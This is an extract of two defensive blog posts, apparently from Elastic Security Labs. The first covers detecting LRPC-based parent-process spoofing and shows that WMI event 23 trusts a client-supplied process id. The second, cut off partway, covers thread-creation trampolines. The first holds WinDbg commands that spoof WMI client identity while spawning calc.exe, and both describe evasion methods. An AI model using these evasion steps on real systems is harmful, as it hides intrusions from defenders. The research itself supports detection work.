<p>The above annotated screenshot is the logical process tree after a Microsoft Word macro called three COM objects, each exposing a <code>ShellExecute</code> interface and also the WMI <code>Win32\_Process::Create</code> method. The WMI call has specialized telemetry that can reconstruct that Microsoft Word initiated the process creation (the blue arrow), but the COM calls don’t (the red arrows). So defenders have no visibility that Microsoft Word made a COM call over an RPC call to spawn PowerShell elsewhere on the system.</p>
<p>The defender is left with a challenge to interpretation because of this lack of context - Word spawning PowerShell is a red flag, but is <em>Explorer</em> spawning PowerShell malicious, or simply user behavior?</p>
<p>RPC will typically use <a href="https://learn.microsoft.com/en-us/windows/win32/rpc/selecting-a-protocol-sequence">LRPC</a> as the transport for inter-process communication. Using process creation as a case study, this research will outline the evasion-detection arms race to date, describe the weaknesses in some current detection approaches and then follow the quest for a generic approach to LRPC-based evasion.</p>
<h2>A Brief History of Child Process Evasion</h2>
<p>It is often very beneficial for adversaries to spawn child processes during intrusions. Using legitimate pre-installed system tools to achieve your aims saves on capability development time and can potentially evade security instrumentation by providing a veneer of legitimacy for the activity.</p>
<p>However, for the activity to look plausibly legitimate, the parent process also needs to seem plausible. The classic counter-example is that Microsoft Word spawning PowerShell is highly anomalous. In fact, Elastic SIEM includes a prebuilt rule to detect <a href="https://www.elastic.co/pt/guide/en/security/current/suspicious-ms-office-child-process.html">suspicious MS Office child processes</a> and Elastic Endpoint will also <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_powershell_obfuscation_spawned_via_microsoft_office.toml">prevent malicious execution</a>. As documented in the Elastic <a href="https://www.elastic.co/pt/explore/security-without-limits/global-threat-report">Global Threat Report</a>, suspicious parent/child relationships was one of the three most common defense evasion techniques used by threats in 2022.</p>
<p>Endpoint Protection Platform (EPP) products could prevent the most egregious process parent relationships, but it was the rise of Endpoint Detection and Response (EDR) approaches with pervasive process start logging and the ability to retrospectively hunt that established a scalable approach to anomalous process tree detection.</p>
<p>Adversaries initially pivoted to evasions using a <a href="https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/">Win32 API feature introduced in Windows Vista</a> to support User Account Control (UAC) that allows a process to specify a different logical parent process to the real calling process. However, <a href="https://blog.f-secure.com/detecting-parent-pid-spoofing/">endpoint security could still identify the real parent process</a> based on the calling process context during the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine">process creation notification callback</a>, and <a href="https://www.elastic.co/pt/guide/en/security/current/parent-process-pid-spoofing.html">detection rule</a> coverage was quickly re-established.</p>
<p>New evasion techniques evolved in response, and a common method currently leveraged by adversaries is to indirectly spawn child processes via RPC – including <a href="https://docs.microsoft.com/en-us/windows/win32/com/com-technical-overview#remoting">DCOM</a> and <a href="https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-architecture">WMI</a> which are both RPC-based. RPC can be either inter-host or simply inter-process. The latter is oxymoronically called Local Remote Procedure Call (LRPC).</p>
<p>The most well-known of these was the <a href="https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/create-method-in-class-win32-process"><code>Win32\_Process::Create</code></a> WMI method. In order to detect this, Microsoft appears to have explicitly added a new <a href="https://github.com/jdu2600/Windows10EtwEvents/blame/master/manifest/Microsoft-Windows-WMI-Activity.tsv"><code>Microsoft-Windows-WMI-Activity</code></a> ETW event in Windows 10 1809. The new event 23 included the client process id - the missing data point needed to associate the activity with a requesting client.</p>
<p>Unfortunately adversaries were quickly able to pivot to alternate process spawning out-of-process RPC servers such as <a href="https://learn.microsoft.com/en-us/previous-versions/windows/desktop/mmc/view-executeshellcommand"><code>MMC20.Application::ExecuteShellCommand</code></a>. Waiting for Microsoft to add telemetry to dual-purpose out-of-process RPC servers <a href="https://en.wikipedia.org/wiki/Whac-A-Mole">one-by-one</a> wasn’t going to be a viable detection approach, so last year we set out on a side quest to generically associate LRPC server actions with the requesting LRPC client process.</p>
<h2>Detecting LRPC provenance</h2>
<p>The majority of previous public RPC telemetry research has focused on inter-host lateral movement – typically spawning a process on a remote host. For example: - <a href="https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/">Lateral Movement using the MMC20.Application COM Object</a>- <a href="https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/">Lateral Movement via DCOM: Round 2</a>- <a href="https://blog.f-secure.com/endpoint-detection-of-remote-service-creation-and-psexec/">Endpoint Detection of Remote Service Creation and PsExec</a> - <a href="https://posts.specterops.io/utilizing-rpc-telemetry-7af9ea08a1d5">Utilizing RPC Telemetry</a>- <a href="https://www.elastic.co/pt/blog/hunting-for-lateral-movement-using-event-query-language">Detecting Lateral Movement techniques with Elastic</a> - <a href="https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/">Stopping Lateral Movement via the RPC Firewall</a></p>
<p>The ultimate advice for defenders is typically to monitor RPC network traffic for anomalies or, better yet, to block unnecessary remote access to RPC interfaces with <a href="https://www.akamai.com/blog/security/guide-rpc-filter">RPC Filters</a> (part of the <a href="https://learn.microsoft.com/en-us/windows/win32/fwp/">Windows Filtering Platform</a>) or specific RPC methods with 3rd party tooling like <a href="https://github.com/zeronetworks/rpcfirewall">RPC Firewall</a>.</p>
<p>Unfortunately these approaches don’t work when the adversary uses RPC to spawn a process elsewhere on the same host. In this case, the RPC transport is typically <a href="https://learn.microsoft.com/en-us/windows/win32/etw/alpc">ALPC</a> - monitoring and filtering at the network layer does not then apply.</p>
<p>On the host, detection engineers typically look to leverage telemetry from the inbuilt Event Tracing (including EventLog) in the first instance. If this proves insufficient, then they can investigate custom approaches such as user-mode function hooking or mini-filter drivers.</p>
<p>In the RPC case, <a href="https://github.com/jdu2600/Windows10EtwEvents/blob/master/manifest/Microsoft-Windows-RPC.tsv"><code>Microsoft-Windows-RPC</code></a> ETW events are very useful for identifying anomalous behaviours.</p>
<p>Especially: - Event 5 - <code>RpcClientCallStart</code> (GUID InterfaceUuid, UInt32 ProcNum, UInt32 Protocol, UnicodeString NetworkAddress, UnicodeString Endpoint, UnicodeString Options, UInt32 AuthenticationLevel, UInt32 AuthenticationService, UInt32 ImpersonationLevel) - Event 6 - <code>RpcServerCallStart</code> (GUID InterfaceUuid, UInt32 ProcNum, UInt32 Protocol, UnicodeString NetworkAddress, UnicodeString Endpoint, UnicodeString Options, UInt32 AuthenticationLevel, UInt32 AuthenticationService, UInt32 ImpersonationLevel)</p>
<p>Additionally, <code>RpcClientCallStart</code> is generated by the client and <code>RpcServerCallStart</code> by the server so the ETW headers will provide the client and server process ids respectively. Further, there is a 1:1 mapping between endpoint addresses and server process ids. So the server process can be inferred from the <code>RpcClientCallStart</code> event.</p>
<p>The RPC interface UUID and Procedure number combined with the caller details are (usually) sufficient to identify intent. For example, RPC interface UUID <code>{367ABB81–9844–35F1-AD32–98F038001003}</code> is the Service Control Manager Remote Protocol which exposes the ability to configure Windows services. The 12th procedure in this interface is <code>RCreateServiceW</code> which notoriously is the method that PsExec uses to execute processes on remote systems.</p>
<p>For endpoint security vendors, however, there are a few issues to address before scalable robust <code>Microsoft-Windows-RPC</code> detections would be possible: 1. RPC event volumes are significant 2. There isn't an obvious mechanism to strongly correlate a client call with the resultant server call 3. There isn’t an obvious mechanism to strongly correlate a server call with the resultant server behavior</p>
<p>Let’s address these three issues one by one.</p>
<h3>LRPC event volumes</h3>
<p>There are thousands of LRPC events each second – and most of them are uninteresting. To address the LRPC event volume concern, we could limit the events to just those RPC events that are inter-process (including inter-host). However, this immediately leads to the second concern. We need to identify the client of each server call in order to reduce event volumes down to just those which are inter-process.</p>
<h3>Correlating RPC server calls with their clients</h3>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image7.jpg" alt="Annotated MSDN RPC architecture" /></p>
<p>Modern Windows RPC has roughly three <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/472083a9-56f1-4d81-a208-d18aef68c101">transports</a>: - TCP/IP (nacn_ip_tcp, nacn_http, ncadg_ip_udp and nacn_np over SMB) - inter-process Named Pipes (direct nacn_np) - inter-process ALPC (ncalrpc)</p>
<p>The <code>RpcServerCallStart</code> event alone is not sufficient to determine if the call was inter-process. It needs to be correlated against a preceding <code>RpcCientCallStart</code> event, and <a href="https://stackoverflow.com/questions/41504738/how-to-correlate-rpc-calls-in-etw-traces">this correlation</a> is unfortunately weak. At best you can identify a pair of <code>RpcServerCall</code> start/stop events that are bracketed by a pair of <code>RpcClientCall</code> events with the same parameters. (Note - for performance reasons, ETW events generated from different threads may arrive out of order). This means that you need to maintain a holistic RPC state - which creates an on-host storage and processing volume concern in order to address the event volume concern.</p>
<p>More importantly though, the <code>RpcClientCallStart</code> events are generated in the client process where an adversary has already achieved execution and therefore can be <a href="https://twitter.com/dez_/status/938074904666271744">intercepted with very little effort</a>. There is little point to implementing a detection for something so trivial to circumvent, especially when there are more effective options.</p>
<p>Ideally, the RPC server would access the client details and directly log this information. Unfortunately, the ETW events don’t include this information - which is not surprising since one of the RPC design goals was simplification through abstraction. The RPC runtime (allegedly) can be configured via Group Policy to do exactly this, though. It can store <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/enabling-rpc-state-information">RPC State Information</a> which can then be used during debugging to <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/identifying-the-caller-from-the-server-thread">identify the client caller from the server thread</a>. Unfortunately the Windows XP era documentation didn’t immediately work for Windows 10.</p>
<p>It did provide a rough outline describing how to address the first two problems: reducing event volumes and correlating server calls to client processes. It is possible to hook the RPC runtime in all RPC servers, account for the various transports, and then log or filter inter-process RPC events only. (This is likely akin to how <a href="https://github.com/zeronetworks/rpcfirewall">RPC Firewall</a>handles network RPC - just with local endpoints).</p>
<h3>Correlating RPC server calls and resultant behavior</h3>
<p>The next problem was how to correctly attribute a specific server call to the resultant server behaviour. On a busy server, how could we tie an opaque call to the <code>ExecuteShellCommand</code> method to a specific process creation event? And what if the call came from script-based malware and was further wrapped under a method like <a href="https://learn.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-idispatch-invoke"><code>IDispatch::Invoke</code></a>?</p>
<p>We didn’t want to have to inspect the RPC parameter blob and individually implement parsing support for each abusable RPC method.</p>
<h4>Introducing ETW’s ActivityId</h4>
<p>Thankfully, Microsoft had already thought of this scenario and <a href="https://docs.microsoft.com/en-us/archive/msdn-magazine/2007/april/event-tracing-improve-debugging-and-performance-tuning-with-etw">provides ETW tracing guidance</a> to developers.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image17.png" alt="Annotated MSDN documentation for EventWriteEx" /></p>
<p>They suggest that developers generate and propagate a unique 128-bit <code>ActivityId</code> between related ETW events to enable end-to-end tracing scenarios. This is typically handled automatically by ETW for events generated on the same thread as the value is stored in thread local storage. However, the developer must manually propagate this ID to related activities performed by other threads… or processes. As long as the RPC Runtime and all Microsoft RPC servers had followed ETW tracing best practices, we should finally have the end-to-end correlation we want!</p>
<p>It was time to break out a decompiler (we like Ghidra but there are many options) and inspect rpcrt4.dll. By looking at the first parameter passed to <a href="https://learn.microsoft.com/en-us/windows/win32/api/evntprov/nf-evntprov-eventregister"><code>EventRegister</code></a> calls, we can see that there are three ETW GUIDs in the RPC runtime. These GUIDs are defined in a contiguous block and helpfully came with public symbols.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image5.jpg" alt="" /></p>
<p>These GUIDs correspond to <a href="https://github.com/jdu2600/Windows10EtwEvents/blob/086d88e58d6e063868ec62a10f9e1b33e8694735/manifest/Microsoft-Windows-RPC.tsv"><code>Microsoft-Windows-RPC</code></a>, <a href="https://github.com/jdu2600/Windows10EtwEvents/blob/086d88e58d6e063868ec62a10f9e1b33e8694735/manifest/Microsoft-Windows-Networking-Correlation.tsv"><code>Microsoft-Windows-Networking-Correlation</code></a> and <a href="https://github.com/jdu2600/Windows10EtwEvents/blob/086d88e58d6e063868ec62a10f9e1b33e8694735/manifest/Microsoft-Windows-RPC-Events.tsv"><code>Microsoft-Windows-RPC-Events</code></a> respectively. Further, the RPC runtime helpfully wraps calls to <code>EventWrite</code> in just two places.</p>
<p>The first call is in <code>McGenEventWrite\_EtwEventWriteTransfer</code> and looks like this:</p>
<pre><code>`EtwEventWriteTransfer` (RegHandle, EventDescriptor, NULL, NULL, UserDataCount, UserData);
</code></pre>
<p>The NULL parameters mean that <code>ActivityId</code> will always be the configured per-thread <code>ActivityId</code> and <code>RelatedActivityId</code> will always be excluded in events logged by this code path.</p>
<p>The second call is in <code>EtwEx\_tidActivityInfoTransfer</code> and looks like this:</p>
<pre><code>`EtwEventWriteTransfer` (Microsoft_Windows_Networking_CorrelationHandle, EventDescriptor, ActivityId, RelatedActivityId, UserDataCount, UserData);
</code></pre>
<p>This means that <code>RelatedActivityId</code> will only ever be logged in <code>Microsoft-Windows-Networking-Correlation</code> events. RPC Runtime <code>ActivityId</code> s are (predominantly) created within a helper function that ensures that this correlation is always logged.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image14.jpg" alt="Ghidra decompilation for RPC ActivityId creation" /></p>
<p>Decompilation also revealed that the RPC runtime allocates ETW <code>ActivityId</code> s by calling <code>UuidCreate</code> , which generates a random 128-bit value. This is done in locations such as <code>NdrAysncClientCall</code> and <code>HandleRequest</code>. In other words, the client and server both individually allocate <code>ActivityId</code> s. This isn’t unsurprising because the DCE/RPC specification doesn’t seem to include a transaction id or similar construct which would allow the client to propagate an ActivityId to the server. That’s okay though: we’re only currently missing the correlation between server call and the resultant behaviour. Also we don’t want to trust any potentially tainted client-supplied information.</p>
<p>So now we know exactly how RPC intends to correlate activities triggered by RPC calls- by setting the per-thread ETW <code>ActivityId</code> and by logging RPC ActivityId correlations to <code>Microsoft-Windows-Networking-Correlation</code>. The next question is whether the Microsoft RPC interfaces that support dual-purpose activities, such as process spawning, propagate the <code>ActivityId</code> appropriately.</p>
<p>We looked at the execution traces for the four indirect process creation examples from our initial case study. In each one, the RPC request was received on one thread, a second thread handled the request and a third thread spawned the process. Other than the timing, there appeared to be no possible mechanism to link the activities.</p>
<p>Unfortunately, while the RPC subsystem is well behaved, most RPC servers aren't – though this likely isn't entirely their fault. The <code>ActivityId</code> is only preserved per-thread so if the server uses a worker thread pool (as per Microsoft’s <a href="https://learn.microsoft.com/en-us/windows/win32/rpc/scalability">RPC scalability</a> advice) then the causality correlation is implicitly broken.</p>
<p>Further, kernel ETW events seem to universally log an <code>ActivityId</code> of <code>{00000000-0000-0000-0000-000000000000}</code> – even when the thread has a (user-mode) <code>ActivityId</code> configured. It is likely that the kernel implementation of <code>EtwWriteEvent</code> simply does not query the <code>ActivityId</code> which is stored in user-mode thread local storage.</p>
<p>This observation about kernel events is a showstopper for a generic approach based around ETW. Almost all of the interesting resultant server behaviors (process, registry, file etc) are logged by kernel ETW events.</p>
<p>A new approach was necessary. It isn’t scalable to investigate individual ETW providers in dual-purpose RPC servers. (Though the <code>Microsoft.Windows.ShellExecute</code> TraceLogging provider looked interesting). What would Microsoft do?</p>
<h3>What would Microsoft do?</h3>
<p>More specifically, how does Microsoft populate the <code>ClientProcessId</code> in the <code>Microsoft-Windows-WMI-Activity</code> ETW event 23 (aka <code>Win32\_Process::Create</code> )?</p>
<pre><code>`task_023` (UnicodeString CorrelationId, UInt32 GroupOperationId, UInt32 OperationId, UnicodeString Commandline, UInt32 CreatedProcessId, UInt64 CreatedProcessCreationTime, UnicodeString ClientMachine, UnicodeString ClientMachineFQDN, UnicodeString User, UInt32 ClientProcessId, UInt64 ClientProcessCreationTime, Boolean IsLocal)
</code></pre>
<p>Unlike RPC, WMI natively supports end-to-end tracing via a <code>CorrelationId</code> which is a GUID that the WMI client passes to the server at the WMI layer so that WMI operations can be associated. However, for security use cases, we shouldn’t blindly trust client-supplied information for reasons previously mentioned.</p>
<p>But how was Microsoft determining the process id to log and was their approach something that could be replicated for other RPC Servers – possibly via an RPC server runtime hook?</p>
<p>We needed to find out where the data in that field came from. ETW conveniently provides the ability to record a stack trace when an event is generated and the <a href="https://github.com/pathtofile/Sealighter">Sealighter</a> tool conveniently exposes this capability. Sealighter illustrates which specific ETW Write function is being called from which process.</p>
<p>In this case, the event was actually being written by <code>ntdll!EtwEventWrite</code> in the WMI Core Service (svchost.exe -k netsvcs -p -s Winmgmt) – not in the WMI Provider Host (WmiPrvSE.exe).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image9.jpg" alt="" /></p>
<p>Putting a breakpoint on <code>PublishWin32ProcessCreation</code> , we see via parameter value inspection that the <code>ClientProcessId</code> is passed (on the stack) as the 10th parameter. We can then look at <code>InspectWin32ProcessCreateExecution</code> to determine how the value that is passed in is determined.</p>
<p>A roughly tidied Ghidra decompilation of <code>InspectWin32ProcessCreateExecution</code> might resemble this:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image1.jpg" alt="" /></p>
<p>We can see that the client process id comes from the <code>CWbemNamespace</code> object. Searching for reference to this structure field, we find that it is only set in <code>CWbemNamespace::Initialize</code>. Our earlier stack trace started in <code>wbemcore!CCoreQueue</code> and this initialization appears to have occurred prior to queuing. So we could statically search for all locations where the initialization occurs or dynamically observe the actual code paths taken.</p>
<p>We know that this activity is being initiated over RPC, so one approach would be to place breakpoints on RPC send/receive functions in the client and server. An alternative might be to fire up Wireshark and examine the packet capture of the entire interaction when it occurs in cleartext over the network. We learned somewhat late in our research that Microsoft had excellent documentation for the <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wmi/1106e73c-9a7c-4e25-9216-0a5d8e581d62">WMI Protocol Initialization</a> that explained much of this and might have saved a little time.</p>
<p>We took the first approach. The second parameter to <code>InspectWin32ProcessCreateExecution</code> is an <a href="https://docs.microsoft.com/en-us/windows/win32/api/wbemcli/nn-wbemcli-iwbemcontext"><code>IWbemContext</code></a> – which allows the caller to provide additional information to providers. This is how the parameters to <code>Win32\_Process::Create</code> are being passed. What if the first parameter was related to the WMI Client passing additional context to the WMI Core?</p>
<p><code>IWbemLevel1Login::NTLMLogin</code> stood out in the call traces as a good place to start looking.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image24.jpg" alt="" /></p>
<p>And right next to its COM interface UUID was IWbemLoginClientID[Ex] which had a very interesting <code>SetClientInfo</code> call, which was documented on MSDN:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image2.jpg" alt="" /></p>
<p>The WMI client calls <code>wbemprox!SetClientIdentity</code> which looks roughly like this:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image18.jpg" alt="" /></p>
<p><code>IWbemLoginClientIDEx</code> is currently undocumented, but we can infer the parameters from the values passed.</p>
<p>At this point, it looks like the client process is passing <code>ClientMachineName</code> , <code>ClientMachineFQDN</code> , <code>ClientProcessId</code> and <code>ClientProcessCreationTime</code> to the WMI Core. We can confirm this by changing the values and seeing if the ETW event logged by the WMI Core changes.</p>
<p>Using WinDbg, we set up a couple quick patches to the WMI client process and then spawned a process via WMI:</p>
<pre><code>windbg&gt; bp wbemprox!SetClientIdentity+0xff &quot;eu @rdx \&quot;SPOOFED....\&quot;; gc&quot;
windbg&gt; bp wbemprox!SetClientIdentity+0x1c4 &quot;r r9=0n1337; eu @r8 \&quot;SPOOFED.COM\&quot;; gc&quot;
PS&gt; ([wmiclass]&quot;ROOT\CIMv2:Win32_Process&quot;).Create(&quot;calc.exe&quot;)
</code></pre>
<p>Using SilkETW (or another ETW capture mechanism), we see the following event from the server process:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image12.jpg" alt="" /></p>
<p>The server is blindly reporting the values provided by the client. This means that this event cannot be relied upon for un-breaking WMI process provenance trees as the adversary can control the client process id. Falsely reporting this information would be an interesting defense evasion, and a tough one to identify reliably.</p>
<p>Further, a remote adversary can actually pass in a <code>ClientMachine</code> name equal to the local hostname and this WMI event will mistakenly log IsLocal as true. (See the earlier decompilation of <code>InspectWin32ProcessCreateExecution</code> ). This will make the event seem like a suspicious local execution rather than lateral movement, and represents another defence evasion opportunity.</p>
<p>So, this isn’t an approach that other RPC servers should follow after all.</p>
<h2>Conclusion</h2>
<p>In trying to generically solve LRPC provenance, we unfortunately demonstrate that the one existing LRPC provenance data point is unreliable. This has been reported to Microsoft where it was assessed as a next-version candidate bug that will be evaluated for future releases.</p>
<p>Our fervent hope is that the ultimate solution involves the creation of a documented API that allows a server LRPC thread to determine the client thread of a connection. This would provide endpoint security products with a reliable mechanism to identify operations being proxied through LRPC calls in an attempt to hide their origin.</p>
<p>More generally though, this research highlights the need for defenders to have a detailed understanding of data provenance. It is necessary but not sufficient to know that the data was logged by a trustworthy source such as the kernel or a server process. In addition, you must also understand whether the data was intrinsic to the event or provided by a potentially untrustworthy client. Otherwise adversaries will exploit the gaps.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/blog-thumb-sorting-colors.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Get-InjectedThreadEx – Detecting Thread Creation Trampolines]]></title>
            <link>https://www.elastic.co/pt/security-labs/get-injectedthreadex-detection-thread-creation-trampolines</link>
            <guid>get-injectedthreadex-detection-thread-creation-trampolines</guid>
            <pubDate>Wed, 07 Dec 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[In this blog, we will demonstrate how to detect each of four classes of process trampolining and release an updated PowerShell detection script – Get-InjectedThreadEx]]></description>
            <content:encoded><![CDATA[<p>The prevalence of <a href="https://www.elastic.co/pt/blog/hunting-memory">memory resident malware</a> remains extremely high. Defenders have imposed significant costs on file-based techniques, and malware must typically utilize <a href="https://www.elastic.co/pt/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process">in-memory techniques</a> to avoid detection. In Elastic's recently-published <a href="https://t.co/3PZDENisXK">Global Threat Report</a>, defense evasion is the most diverse tactic we observed and represents an area of rapid, continuous innovation.</p>
<p>It is convenient, and sometimes necessary, for memory-resident malware to create its own threads within its surrogate process. Many such threads can be detected with relatively low noise by identifying those which have a start address not backed by a Portable Executable (PE) image file on disk. This detection technique was originally conceived by Elastic's <a href="https://twitter.com/GabrielLandau">Gabriel Landau</a> and Nicholas Fritts for the Elastic Endgame product. Shortly thereafter, it was released as a PowerShell script for the benefit of the community in the form of <a href="https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2">Get-InjectedThread</a> with the help of <a href="https://twitter.com/jaredcatkinson">Jared Atkinson</a> and Elastic's <a href="https://twitter.com/dez_">Joe Desimone</a> at the <a href="https://www.slideshare.net/JoeDesimone4/taking-hunting-to-the-next-level-hunting-in-memory">2017 SANS Threat Hunting and IR Summit</a>.</p>
<p>At a high level, this approach detects threads created with a user start address in unbacked executable memory. Unbacked executable memory itself is quite normal in many processes such as those that do just-in-time (JIT) compilation of bytecode or scripts like .NET or javascript. However, that JIT’d code rarely manages its own threads – usually that is handled by the runtime or engine.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image13.png" alt="Virtual Memory layout of a simple process using Sysinternal’s VMMap. Purple regions are image-backed and it is normal for threads to start there." /></p>
<p>However, an adversary often has sufficient control to create a thread with an image-backed start address which will subsequently transfer execution to their unbacked memory. When this transfer is done immediately, it is known as a “trampoline” as you are quickly catapulted somewhere else.</p>
<p>There are four broad classes of trampolines – you can build your own from scratch, you can use an illusionary trampoline, you can repurpose something else as a trampoline, or you can simply find an existing trampoline.</p>
<p>In other words - hooks, hijacks, gadgets and functions.</p>
<p>Each of these will bypass our original unbacked executable memory heuristic.</p>
<p>I highly recommend these two excellent blogs as background:</p>
<ul>
<li><a href="https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/">Understanding and Evading Get-InjectedThread</a> by Adam Chester.</li>
<li><a href="https://www.trustedsec.com/blog/avoiding-get-injectedthread-for-internal-thread-creation/">Avoiding Get-InjectedThread for Internal Thread Creation</a> by Christopher Paschen.</li>
</ul>
<p>In this blog, we will demonstrate how to detect each of these classes of bypass and release an updated PowerShell detection script – <a href="https://github.com/jdu2600/Get-InjectedThreadEx">Get-InjectedThreadEx</a>.</p>
<h2>CreateThread() overview</h2>
<p>As a quick recap, the Win32 <a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread">CreateThread()</a> API lets you specify a pointer to a desired StartAddress which will be used as the entrypoint of a function that takes exactly one user-provided parameter.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image8.png" alt="Microsoft documentation for the CreateThread API" /></p>
<p>So, CreateThread() is effectively a simple shellcode runner.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image6.png" alt="CreateThread == RunShellcode" /></p>
<p>And its sibling, <a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread">CreateRemoteThread()</a> is effectively remote process injection.</p>
<p>The value of the lpStartAddress parameter is stored by the kernel in the Win32StartAddress field within the <a href="https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/ntos/ps/ethread/">ETHREAD</a> structure for that thread.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image2.jpg" alt="Suspicious ETHREAD entry viewed with a kernel debugger" /></p>
<p>This value can be queried from user mode using the documented <a href="https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationthread">NtQueryInformationThread()</a> syscall with the ThreadQuerySetWin32StartAddress information class. A subsequent call to <a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualqueryex">VirtualQueryEx()</a> can be used to make a second syscall requesting the <a href="https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-memory_basic_information">basic memory information</a> for that virtual address from the kernel. This includes an enumeration indicating whether the memory is a mapped PE image, a mapped file, or simply private memory.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image1.jpg" alt="Original detection logic" /></p>
<p>While the original script was a point-in-time retrospective detection implementation, the same information is available inline during <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreatethreadnotifyroutine">create thread notify</a> kernel callbacks. All effective Endpoint Detection and Response (EDR) products should be providing telemetry of suspicious thread creations.</p>
<p>And all effective Endpoint Protection Platform (EPP) products should be denying suspicious thread creations by default – with a mechanism to add allowlist entries for legitimate software exhibiting this behavior.</p>
<p>In the wild, you’ll see “legitimate” instances of this behavior such as from other security products, anti-cheat software, older copy-protection software and some Unix products that have been shimmed to work on Windows. Though, in each instance, this security <a href="https://en.wikipedia.org/wiki/Code_smell">code smell</a> may be indicative of software that you might not want in an enterprise environment. The use of these methods may be a leading indicator that other <a href="https://blog.trailofbits.com/2018/09/26/effortless-security-feature-detection-with-winchecksec/">security best practices</a> have not been followed. Even with this finite set of exceptions to handle, this detection and/or prevention approach remains highly relevant and successful today.</p>
<h3>1 - Bring your own trampoline</h3>
<p>The simplest trampoline is a small hook. The adversary only needs to write the necessary jump instruction into existing image-backed memory. This is the approach that Filip Olszak used to bypass Get-InjectedThread with <a href="https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection">DripLoader</a>.</p>
<p>These bytes can even be restored to their original values immediately after thread creation. This helps to avoid retrospective detections such as our script – but recall that your endpoint security product should be doing <em>inline</em> detection and will be able to scrutinize the hooked thread entrypoint at execution time, and deny execution if necessary.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image9.png" alt="Basic hook trampoline" /></p>
<p>The above proof-of-concept hooks ntdll!DbgUiRemoteBreakin, which is a legitimate remote thread start address, though it should rarely be seen in production environments. In practice, the hook can be placed on any function bytes unlikely to be called in normal operation– or even slack space between functions, or at the end of the PE section.</p>
<p>Also note the use of WriteProcessMemory() instead of a simple memcpy(). MEM_IMAGE pages are typically read only, and the former handles toggling the page protections to writable and back for us.</p>
<p>We can detect hooked start addresses fairly easily because we can detect persistent inline hooks fairly easily. In order to save memory, allocations for shared libraries use the same backing physical memory pages and are marked COPY_ON_WRITE in each process’s address space. So, as soon as the hook is inserted, the whole page can no longer be shared. Instead, a copy is created in the working set of the process.</p>
<p>Using the <a href="https://docs.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-queryworkingsetex">QueryWorkingSetEx()</a> API, we can query the kernel to determine whether the page containing the start address is sharable or is in a private working set.</p>
<p>Now we know that something on the page was modified – but we don’t know if our address was hooked. And, for our updated PowerShell script, this is all that we do. Recall that the bytes can be unhooked after the thread has started– so any further checks on already running threads could result in a false negative.</p>
<p>However, this could also be a false positive if there is a “legitimate” hook or other modification.</p>
